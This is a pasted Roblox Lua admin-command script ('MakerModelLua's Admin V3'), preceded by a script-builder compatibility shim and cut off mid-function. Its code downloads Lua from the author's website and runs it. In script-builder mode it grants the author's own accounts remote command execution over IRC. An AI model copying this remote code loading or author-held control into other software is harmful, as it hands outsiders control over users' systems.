· 7 years ago · Oct 25, 2018, 10:06 AM
1--https://github.com/Mokiros/roblox-FE-compatibility if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end local Player,Mouse,mouse,UserInputService,ContextActionService = owner local RealPlayer = Player do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end
2--[[
3Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
4If you want to know what commands do just go into your game and say ;cmds for a list of
5commands, what they do, examples, rank needed, and more!
6Or, go to http://www.classy-studios.com/V3/Commands.php
7If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
8
9
10TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
11
12--->> DO NOT EDIT THESE SETTINGS <<---
13Well you can but it's a waste of your time. The settings are located in workspace
14in a folder called "MakerModelLua's Settings". You can also use this plugin:
15
16http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
17
18USE REMOTE ADMIN:
19http://www.classy-studios.com/Login/
20Mobile: http://appsto.re/us/hEn7fb.i
21
22
23
24...also... this is open source! No stupid shady module scripts, which means it works in studio!
25
26]]
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
51
52
53local Settings = {
54 Ranks = {
55 ["Owner"] = {};
56 ["Admin"] = {};
57 ["Member"] = {};
58 ["Banned"] = {};
59 ["Crashed"] = {};
60 ["Muted"] = {};
61 };
62
63 Prefix = ";";
64 Bet = " ";
65 MinimumAge = 0;
66 ServerLocked = false;
67 ColorScheme = "White";
68 TransparencyScheme = 50;
69 Fun = true;
70 EnableAdminMenu = true;
71 EnableTaskBar = true;
72 FreeAdmin = false;
73 Font = "Arial";
74
75 DisableAbuse = false;
76 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
77 AbusableGear = {};
78
79 LinkedAccount = "";
80 DataKey = "";
81
82 ExecuteNotificationSound = 0; --177578949
83 EnableSounds = true;
84
85 VIPMemberID = 0;
86 VIPAdminID = 0;
87
88 GroupID = 0;
89 GroupBanRank = 0;
90 GroupMemberRank = 0;
91 GroupAdminRank = 0;
92 GroupOwnerRank = 0;
93 GroupRankBan = 0;
94 BannedGroupIDs = {};
95
96 IRCServer = "";
97 IRCChannel = "";
98 IRCCommandExecuters = {};
99
100 TrelloToken = ""
101}
102
103local Colors = {
104 ["WHITE"] = Color3.new(1,1,1);
105 ["BLACK"] = Color3.new(0,0,0);
106 ["GRAY"] = Color3.new(0.5,0.5,0.5);
107 ["RED"] = Color3.new(1,0,0);
108 ["GREEN"] = Color3.new(0,1,0);
109 ["BLUE"] = Color3.new(0,0,1);
110 ["YELLOW"] = Color3.new(1,1,0);
111 ["PINK"] = Color3.new(1,0,1);
112 ["MAGENTA"] = Color3.new(1,0,1);
113 ["CYAN"] = BrickColor.new("Cyan").Color;
114 ["TEAL"] = BrickColor.new("Teal").Color;
115 ["BROWN"] = Color3.new(0.55,0.25,0.075);
116 ["PURPLE"] = Color3.new(0.5,0,0.5);
117 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
118}
119
120local Server = {
121 Workspace = game:GetService("Workspace");
122 Players = game:GetService("Players");
123 Lighting = game:GetService("Lighting");
124 MPS = game:GetService("MarketplaceService");
125 TS = game:GetService("TeleportService");
126 HS = game:GetService("HttpService");
127 RS = game:GetService("RunService");
128 PS = game:GetService("PointsService");
129 TestS = game:GetService("TestService");
130 IS = game:GetService("InsertService");
131 Teams = game:GetService("Teams");
132 Data = game:GetService("DataStoreService");
133 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
134 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
135 Storage = game:GetService("ServerStorage");
136 RS = game:GetService("ReplicatedStorage");
137 AS = game:GetService("AssetService");
138}
139
140local Icons = {
141 ["Message"] = 7724351;
142 ["Error"] = 94011556;
143 ["Information"] = 144175130;
144 ["Check"] = 132769976;
145 ["Search"] = 61994930;
146 ["Time"] = 136391033;
147 ["Notice"] = 156507320;
148 ["Sound"] = 164682936;
149 ["Log"] = 70650545;
150 ["Question"] = 41363872;
151 ["Output"] = 11481605;
152 ["Admin"] = 302470270;
153 ["Lock"] = 11341626;
154 ["Settings"] = 131064748;
155 ["Map"] = 257119661;
156 ["Plugin"] = 257097414;
157}
158
159local IRC = {
160 Codes = {
161 ["001"] = "RPL_WELCOME",
162 ["002"] = "RPL_YOURHOST",
163 ["003"] = "RPL_CREATED",
164 ["004"] = "RPL_MYINFO",
165 ["005"] = "RPL_ISUPPORT",
166 ["250"] = "RPL_STATSCONN",
167 ["251"] = "RPL_LUSERCLIENT",
168 ["252"] = "RPL_LUSEROP",
169 ["254"] = "RPL_LUSERCHANNELS",
170 ["255"] = "RPL_LUSERME",
171 ["265"] = "RPL_LOCALUSERS",
172 ["266"] = "RPL_GLOBALUSERS",
173 ["352"] = "RPL_WHOREPLY",
174 ["371"] = "RPL_INFO",
175 ["372"] = "RPL_MOTD",
176 ["374"] = "RPL_ENDINFO",
177 ["375"] = "RPL_MOTDSTART",
178 ["376"] = "RPL_ENDOFMOTD",
179 ["422"] = "ERR_NOMOTD",
180 },
181 Ignore = {
182 ["004"] = true,
183 ["005"] = true,
184 };
185 Users = {};
186 Logs = {};
187 Chats = {};
188 Forms = {};
189 MessageAdded = Instance.new("BindableEvent");
190
191 Servers = {
192 ["esper.net"] = {
193 BaseUrl = "http://webchat.esper.net/";
194 DynamicUrl = "";
195 };
196 ["quakenet.org"] = {
197 BaseUrl = "http://webchat.quakenet.org/";
198 DynamicUrl = "dynamic/leibniz",
199 };
200 ["swiftirc.net"] = {
201 BaseUrl = "http://qwebirc.swiftirc.net/";
202 DynamicUrl = "",
203 };
204 };
205 NickName = "rbxMMLV3_"..math.random(1,100000);
206
207 SessionCounter = 0;
208 Connected = false;
209 Stop = false;
210 SessionID = "";
211}
212
213local RankHUD = {
214 ["Muted"] = 202180094;
215 ["Non-Admin"] = 202180121;
216 ["Member"] = 202180052;
217 ["Admin"] = 202180015;
218 ["Owner"] = 202179988;
219}
220
221local TextConverter = {
222 LetterSounds = {
223 ["a"] = {223757826, nil}; -- 203343899
224 ["b"] = {223533700, 0.2}; -- 203344029
225 ["c"] = {223533711, nil}; -- 203343994
226 ["d"] = {223757910, nil}; -- 203398237
227 ["e"] = {223758026, nil}; -- 203398295
228 ["f"] = {223777655, nil}; -- 203398347
229 ["g"] = {223777738, nil}; -- 203398372
230 ["h"] = {223777757, nil}; -- 203398397
231 ["i"] = {223777807, nil}; -- 203398422
232 ["j"] = {223782888, nil}; -- 203398450
233 ["k"] = {223533711, nil}; -- 203343994
234 ["l"] = {223782961, 0.4}; -- 203398541
235 ["m"] = {223782992, nil}; -- 203398578
236 ["n"] = {223783063, nil}; -- 203398599
237 ["o"] = {223783184, nil}; -- 203398611
238 ["p"] = {223783235, nil}; -- 203398727
239 ["q"] = {223783260, nil}; -- 203398755
240 ["r"] = {223783305, 0.2}; -- 203398792
241 ["s"] = {223783377, nil}; -- 203398806
242 ["t"] = {223783446, nil}; -- 203398850
243 ["u"] = {223783512, nil}; -- 203398872
244 ["v"] = {223783654, nil}; -- 203398965
245 ["w"] = {223783697, nil}; -- 203398984
246 ["x"] = {223783796, nil}; -- 203399008
247 ["y"] = {223783853, nil}; -- 203399043
248 ["z"] = {223783893, nil}; -- 203399096
249
250 ["ch"] = {223784367, 0.3}; -- 203592149
251 ["th"] = {223788235, 0.3}; -- 203399215
252 ["sh"] = {223784505, 0.2}; -- 203399566
253 ["wh"] = {223784555, 0.3}; -- 203622828
254 ["oo"] = {223784456, 0.3}; -- 203399743
255 ["ing"] = {223784393, 0.3}; -- 203402836
256 };
257
258 LongVowels = {
259 ["a"] = {223533687, nil}; -- 203343932
260 ["e"] = {223777620, nil}; -- 203398314
261 ["i"] = {223777855, nil}; -- 203398440
262 ["o"] = {223783212, nil}; -- 203398619
263 ["u"] = {223783572, nil}; -- 203398897
264 };
265
266 Pronounce = {
267 ["0"] = "zero";
268 ["1"] = "wun";
269 ["2"] = "too";
270 ["3"] = "three";
271 ["4"] = "four";
272 ["5"] = "five";
273 ["6"] = "six";
274 ["7"] = "seven";
275 ["8"] = "eyt";
276 ["9"] = "nine";
277 ["one"] = "wun";
278 ["two"] = "too";
279 ["eight"] = "eyt";
280 ["eigh"] = "ey";
281 ["gh"] = "h";
282 ["kn"] = "n";
283 ["come"] = "cu".."m";
284 ["bye"] = "bi";
285 ["#"] = "hashtag";
286 ["@"] = "at";
287 ["&"] = "and";
288 ["*"] = "astrict";
289 ["mn"] = "m";
290 ["kn"] = "n";
291 ["ies"] = "ees";
292 };
293
294 NonEnglishRules = {
295 ["to"] = "too";
296 ["you"] = "yoo";
297 ["we"] = "wee";
298 ["are"] = "erh";
299 ["your"] = "yoor";
300 ["you're"] = "yoor";
301 ["youre"] = "yoor";
302 ["pizza"] = "peetzoh";
303 ["ok"] = "okay";
304 ["have"] = "hav";
305 ["my"] = "mi";
306 ["me"] = "mee";
307 ["u"] = "yoo";
308 ["r"] = "erh";
309 ["move"] = "moov";
310 ["dove"] = "duv";
311 ["debris"] = "debree";
312 ["do"] = "doo";
313 }
314}
315
316local HTMLDecode = {
317 ["35"] = "#";
318 ["36"] = "$";
319 ["37"] = "%%";
320 ["38"] = "*";
321 ["39"] = "'";
322 ["58"] = ":";
323 ["59"] = ";";
324 ["60"] = "<";
325 ["62"] = ">";
326}
327
328
329local Assets = {
330 Packages = {
331 [27112438] = {27112025,27112039,27112052,27112056,27112068};
332 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
333 [77518833] = {77518564,77518616,77518654,77518696,77518737};
334 [32336368] = {32336059,32336117,32336182,32336243,32336306};
335 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
336 [54116460] = {54116290,54116338,54116373,54116394,54116432};
337 [39977366] = {39976703,39976829,39976927,39977192,39977295};
338 [32357766] = {32357663,32357631,32357619,32357584,32357558};
339 [27123973] = {27121265,27121306,27121353,27121393,27121432};
340 [55717536] = {55717271,55717330,55717388,55717434,55717491};
341 [28279963] = {28279160,28279217,28279859,28279894,28279938};
342 [27403592] = {27402580,27402546,27402641,27402714,27402742};
343 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
344 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
345 [48474394] = {48474356,48474294};
346 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
347 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
348 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
349 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
350 [33378577] = {33378366,33378438,33378484,33378522,33378540};
351 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
352 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
353 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
354 [41851073] = {41850825,41850868,41850915,41851009,41850959}
355 };
356 AssetTypes = {
357 [0] = "Product";
358 [1] = "Image";
359 [2] = "T-Shirt";
360 [3] = "Audio";
361 [4] = "Mesh";
362 [5] = "Lua";
363 [6] = "HTML";
364 [7] = "Text";
365 [8] = "Hat";
366 [9] = "Place";
367 [10] = "Model";
368 [11] = "Shirt";
369 [12] = "Pants";
370 [13] = "Decal";
371 [16] = "Avatar";
372 [17] = "Head";
373 [18] = "Face";
374 [19] = "Gear";
375 [21] = "Badge";
376 [22] = "Group Emblem";
377 [24] = "Animation";
378 [25] = "Arms";
379 [26] = "Legs";
380 [27] = "Torso";
381 [28] = "Right Arm";
382 [29] = "Left Arm";
383 [30] = "Left Leg";
384 [31] = "Right Leg";
385 [32] = "Package";
386 [33] = "YouTube Video";
387 [34] = "Game Pass";
388 [38] = "Plugin";
389 [39] = "SolidModel";
390 [40] = "MeshPart";
391 [41] = "Hair Accessory";
392 [42] = "Face Accessory";
393 [43] = "Neck Accessory";
394 [44] = "Shoulder Accessory";
395 [45] = "Front Accessory";
396 [46] = "Back Accessory";
397 };
398 AccessoryTypes = {
399 ["all"] = 19;
400 ["hats"] = 9;
401 ["hair"] = 20;
402 ["face"] = 21;
403 ["neck"] = 22;
404 ["shoulder"] = 23;
405 ["front"] = 24;
406 ["back"] = 25;
407 ["waist"] = 26;
408 };
409}
410
411local CharacterCache = {
412 {"MakerModelLua", 38837082};
413 {"LuaModelMaker", 20920633};
414 {"builderman", 156};
415 {"Shedletsky", 261};
416 {"Telamon", 13645};
417 {"ROBLOX", 1};
418}
419
420local FaceCovert = {
421 Left = "xpos";
422 Right = "xneg";
423 Front = "zpos";
424 Back = "zneg";
425 Top = "ypos";
426 Bottom = "yneg";
427}
428
429local Meshes = {
430 ["crown"] = {1, 1078075};
431 ["king"] = {1, 11419761};
432 ["teapot"] = {0.03, 1029523};
433 ["apple"] = {2.5, 16190555};
434 ["potato"] = {1, 25268275};
435 ["panda"] = {0.5, 20709221};
436 ["dominus"] = {0.5, 21057410};
437 ["fedora"] = {0.75, 13640868};
438 ["noob"] = {1, 20929341};
439 ["knife"] = {0.3, 121944778};
440 ["book"] = {0.3, 1136139};
441}
442
443local NotifySounds = {
444 ["Hover"] = 223134269;
445 ["Select"] = 292141227;
446}
447
448local Trello = {
449 TrelloInfoCard = "x1rUtwEj";
450 MainBoard = {};
451 RequiredLists = {};
452 RankChecklistCache = {};
453 ToggleChecklist = nil;
454 CommandID = nil;
455 LastCommandDT = 0;
456 AdminBoardID = "577ea1b21cb7975666524f26";
457 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
458 RemoteDataCard = "dLtMo1en"
459}
460
461local ScriptBuilders = {
462 [260897989] = "MML's";
463 [21053279] = "Anti's pub";
464 [21053219] = "Anti's pri";
465 [20279777] = "Void's 1";
466 [437965235] = "Void's 2";
467 [227015991] = "Vox's";
468 [210101277] = "Master's";
469 [531937877] = "Bleu pigs";
470 [519251450] = "Game's";
471}
472
473-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
474-- Why else would I NOT have put it in a module?!?!?
475
476local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
477
478local SoundList,GlobalSoundList = {},{}
479local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
480local TempChatLogs = {}
481local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
482local NoSpeak = false
483
484local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
485local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
486
487local ChatLogs,CommandLogs = {},{}
488local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
489local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
490local Dispose,Jails,PermCommandBars = {},{},{}
491local Waypoints = {["Center"] = Vector3.new(0,0,0)}
492local Objects = {}
493local Sound = nil
494local ModLighting = false
495local DataReady = true
496local RemoteAbuseGear = {}
497
498local GameOwner = "[ Client ]"
499local PlaceName = "Unknown"
500local PlaceInfo = {}
501local IsStudio = false
502local IsSB = false
503local Date = nil
504local Fonts = {}
505local PendingRequests = {}
506local F3X = script:FindFirstChild("F3X Tools")
507local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
508local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
509local KeyBinds = {}
510local Crowns = {}
511local LastKeys = {}
512local Cars = {}
513local StringReplacements = {}
514local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
515local NoBet = {"/", "-", "(", ")", ""}
516local ShouldFilter = true
517
518local CrownStorage = script:FindFirstChild("CrownStorage")
519if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
520
521-- import old settings just in case --
522local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
523if OldSettings then
524 OldSettings = require(OldSettings)
525
526 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
527 Settings[ValName] = OldSettings[ValName]
528 end
529 Settings.GroupBanRank = OldSettings.RankBan
530 Settings.Fun = OldSettings.FUN
531end
532
533if F3X then
534 F3X = F3X:Clone()
535 F3X.Handle.Anchored = false
536 script:FindFirstChild("F3X Tools"):Destroy()
537end
538
539wait(0.1)
540
541local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
542-- tries to defualt to server storage, just in case an exploiter makes their own settings.
543
544if SettingsValues then
545 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
546 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
547 for _,Value in pairs(SettingsValues:GetChildren()) do
548 if Settings[Value.Name] ~= nil then
549 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
550 for _,NewValue in pairs(Value:GetChildren()) do
551 if ypcall(function() return NewValue.Value end) then
552 if Settings[Value.Name][NewValue.Name] then
553 local Val = NewValue.Value
554 if type(Settings[Value.Name][NewValue.Name]) == "table" then
555 Val = {}
556 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
557 table.insert(Val, Word)
558 end
559 end
560 Settings[Value.Name][NewValue.Name] = Val
561 end
562 end
563 end
564 else
565 if Settings[Value.Name] ~= nil then
566 local Val = Value.Value
567 if type(Settings[Value.Name]) == "table" then
568 Val = {}
569 for Word in string.gmatch(Value.Value, "%w+") do
570 table.insert(Val, Word)
571 end
572 end
573 Settings[Value.Name] = Val
574 end
575 end
576 end
577 end
578 end
579end
580
581if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
582 Settings.LinkedAccount = ""
583elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
584 Settings.LinkedAccount = "Admin"
585end
586
587local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
588local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
589
590wait(1)
591
592local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
593
594if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
595
596if not IsStudio then
597 Server.NS = game:GetService("NetworkServer")
598 script.Name = "Maker".."Mo".."delLua's Admin"
599end
600
601if game.PlaceId > 0 then
602 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
603 PlaceName = PlaceInfo.Name
604end
605
606local function GetGameOwner()
607 if PlaceInfo.Creator.CreatorType == "Group" then
608 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
609 print("MML's Admin: Found group owner for game: "..GameOwner)
610 elseif PlaceInfo.Creator.CreatorType == "User" then
611 GameOwner = PlaceInfo.Creator.Name
612 print("MML's Admin: Found game owner: "..GameOwner)
613 else
614 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
615 end
616end
617
618if string.byte(string.sub(PlaceName,1,1)) == 226 then
619 PlaceName = string.sub(PlaceName,4,#PlaceName)
620end
621for i = 1,5 do
622 if GameOwner == "[ Client ]" then
623 print("MML's Admin: Attempting to establish owner's name #"..i)
624 GetGameOwner()
625 wait(1)
626 end
627end
628
629if ScriptBuilders[PlaceID] or NLS then
630 IsSB = true
631end
632
633if IsSB then
634 ShouldFilter = false
635 Settings.IRCServer = "swiftirc.net";
636 Settings.IRCChannel = "#PkamaraSB";
637 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
638 if Settings.TrelloToken == "" then
639 Settings.LinkedAccount = "ScriptBuilder"
640 end
641 if Settings.DataKey == "" then coroutine.wrap(function()
642 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
643 local Key = Server.Storage:FindFirstChild("MML DataKey")
644 print("Found key: "..Key.Value)
645 Settings.DataKey = Key.Value
646 Key:Destroy()
647 end)() end
648end
649local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
650table.insert(Settings.Ranks["Owner"], GameOwner)
651
652for _,Font in pairs(Enum.Font:GetEnumItems()) do
653 Fonts[Font.Name] = Font
654end
655
656local LogClient = script:FindFirstChild("AddClientInfo")
657if LogClient then LogClient:Destroy() end
658LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
659LogClient.OnServerInvoke = function(Player, Info)
660 if Info then
661 for Key,Data in pairs(Info) do
662 ClientInfo[Player.Name][Key] = Data
663 end
664 end
665end
666
667local function MakeFunction(Type, Name)
668 local Func = script:FindFirstChild(Name)
669 if Func then Func:Destroy() end
670 Func = Instance.new(Type, script) Func.Name = Name
671
672 getfenv()[Name] = Func
673 return Func
674end
675
676MakeFunction("BindableFunction", "ExecuteCommand")
677MakeFunction("RemoteFunction", "ExecuteCommandClient")
678MakeFunction("BindableFunction", "ExecuteCode")
679
680MakeFunction("RemoteFunction", "IsAdmin")
681MakeFunction("RemoteFunction", "AddExploit")
682MakeFunction("BindableFunction", "AddExploitServer")
683MakeFunction("RemoteFunction", "KickClient")
684MakeFunction("RemoteFunction", "ConvertTextToSound")
685
686MakeFunction("RemoteFunction", "KeyPressed")
687MakeFunction("RemoteFunction", "InputKey")
688
689MakeFunction("RemoteFunction", "RankPlayerLocal")
690MakeFunction("BindableFunction", "RankPlayerServer")
691
692--[[
693if NLS then
694 local Value = script:FindFirstChild("Override")
695 LogClient.Parent = game
696 if not Value then
697 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
698 local CloneScript = script:Clone()
699 CloneScript.Disabled = true
700 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
701 CloneScript.Disabled = false
702 CloneScript.Parent = nil
703
704 script:Destroy() script.Disabled = true
705 end
706end
707]]
708
709if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
710
711IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
712
713-- Core functions --
714
715function CORE:FixSettings()
716 for _,Bet in pairs(NoBet) do
717 if Settings.Bet == Bet then
718 Settings.Bet = " "
719 break
720 end
721 end
722 CORE:ChangeBet(Settings.Bet)
723
724 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
725 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
726
727 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
728 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
729 Settings.TransparencyScheme = Settings.TransparencyScheme/100
730
731 if not Fonts[Settings.Font] then
732 Settings.Font = "Arial"
733 end
734end
735
736function CORE:NilPlayer(Player)
737 if Player == nil or type(Player) == "table" then return true else return false end
738end
739
740function CORE:ExecuteResource(ResourceName, Parent, Data)
741 local ReturnScript = nil
742 local Executed = true
743 if script:FindFirstChild("Resources") then
744 local RawResource = script.Resources:FindFirstChild(ResourceName)
745 if RawResource then
746 local Resource = RawResource:Clone()
747 Resource.Disabled = true
748 Resource.Parent = Parent
749 if Data then
750 for Key,Value in pairs(Data) do
751 if Resource[Key] then
752 Resource[Key].Value = Value
753 end
754 end
755 end
756 wait()
757 Resource.Disabled = false
758 ReturnScript = Resource
759 else
760 Executed = false
761 end
762 else
763 Executed = false
764 end
765 if Executed == false then
766 if not Data then Data = {} end
767 local Source = ScriptCache[ResourceName]
768
769 if not Source then
770 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
771 if Source then
772 ScriptCache[ResourceName] = Source
773 end
774 end
775
776 if Data and Source then
777 for Key,Value in pairs(Data) do
778 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
779 end
780 end
781
782 if Source then
783 if NLS then
784 ReturnScript = NLS(Source, Parent)
785 elseif createLocalScriptWithSource then
786 ReturnScript = createLocalScriptWithSource(Source)
787 ReturnScript.Parent = Parent
788 end
789 end
790 end
791 return ReturnScript
792end
793
794function CORE:CreateRemotePropertyReader(Obj, Override)
795 if Server.Workspace.FilteringEnabled == true or Override then
796 local Reader = Instance.new("RemoteFunction", Obj)
797 Reader.Name = "RemotePropertyReader"
798 CORE:ExecuteResource("RemotePropertyReader", Reader)
799 return Reader
800 else
801 return Obj
802 end
803end
804
805function CORE:ReadProperty(Reader, Player, Property)
806 if Reader:IsA("RemoteFunction") then
807 return Reader:InvokeClient(Player, Property)
808 else
809 return Reader[Property]
810 end
811end
812
813function CORE:WriteProperty(Reader, Player, Property, Value)
814 if Reader:IsA("RemoteFunction") then
815 return Reader:InvokeClient(Player, Property, Value)
816 else
817 return Reader[Property]
818 end
819end
820
821
822function CORE:CreateRemoteEvent(Obj, EventName)
823 local Event = Instance.new("RemoteEvent", Obj)
824 Event.Name = "RemoteEvent_"..EventName
825 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
826 return Event
827end
828
829function CORE:HandleEvent(Obj, EventName, Func, NewThread)
830 local function Handle()
831 if Server.Workspace.FilteringEnabled == true then
832 local Event = CORE:CreateRemoteEvent(Obj, EventName)
833 return Event.OnServerEvent:connect(function(Player, ...)
834 Func(...)
835 end)
836 else
837 return Obj[EventName]:connect(Func)
838 end
839 end
840 if NewThread then
841 Spawn(Handle)
842 else
843 Handle()
844 end
845end
846
847function CORE:HandleError(Error, Speaker)
848 local Return = ""
849 if not Error or Error == "" then
850 Return = "Unknown Error"
851 else
852 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
853 end
854 if Speaker then
855 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
856 end
857 return Return
858end
859
860local function ExecuteSafe(Source, Speaker) -- no CORE
861 local Script, Error = loadstring(Source)
862 if Error then
863 return false, CORE:HandleError(Error, Speaker)
864 else
